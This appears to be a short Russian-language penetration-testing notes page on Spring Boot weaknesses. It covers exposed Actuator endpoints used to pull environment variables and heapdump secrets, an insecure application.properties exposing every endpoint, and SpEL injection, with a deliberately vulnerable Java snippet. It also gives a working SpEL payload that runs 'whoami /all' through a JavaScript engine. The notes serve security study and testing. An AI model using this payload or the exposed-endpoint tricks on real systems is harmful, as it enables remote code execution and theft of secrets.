Spring Boot

Уязвимости Π² Spring Boot https://github.com/pyn3rd/Spring-Boot-Vulnerability

Spring Boot Actuator

Spring Boot Actuator β€” Π½Π° сколько понял, это инструмСнт/Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для отслСТивания состояния прилоТСния. Π’ΠΎΡ‚ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ уязвимого прилоТСния: https://github.com/veracode-research/actuator-testbed

Π‘Ρ‚Π°Ρ‚ΡŒΡ ΠΊ этому ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Actuator API: https://docs.spring.io/spring-boot/docs/2.0.x/actuator-api/html/

Из env ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΡΡ‚Π°Ρ‚ΡŒ env'Ρ‹ прилоТСния. Из heapdump скачиваСм Π΄Π°ΠΌΠΏ процСсса ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ VisualVM ΠΈΡ‰Π΅ΠΌ сСкрСты.

Π’ зависимости ΠΎΡ‚ Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π° это ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΊΠΈΠ½ΡƒΡ‚ΡŒ порядочно: https://hackerone.com/reports/1022048

Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, Ссли Π² actuator Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ всС, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, это ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠ°Π²Π½ΠΈΡ‚ΡŒ, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это всС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ нСбСзопасной ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Π² application.properties:

management.endpoint.env.post.enabled=true
management.endpoint.restart.enabled=true
endpoints.sensitive=true
endpoints.actuator.enabled=true
management.security.enabled=false 
management.endpoints.web.exposure.include=*

Spring Expression Language (SpEL)

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime.

Доступ ΠΊ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ исполнСнию ΠΊΠΎΠ΄Π°. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ уязвимого ΠΊΠΎΠ΄Π°:

@Data
@Builder
class MyClass {
    private String inp;
    
    boolean vulnFunction(Object object) {
        return (boolean)new SpelExpressionParser().parseExpression(inp).getValue(new StandardEvaluationContext(object));
    }
}

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ выполнСния whoami /all

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("var pb = new java.lang.ProcessBuilder['(java.lang.String[])']([ 'cmd', '/c', 'whoami /all', ]); pb.redirectErrorStream(true); var p = pb.start(); var stdout = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream())); var s = '_'; while ((line = stdout.readLine()) != null) { s += line + '\n'; } s;").getBytes(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())==0

Last updated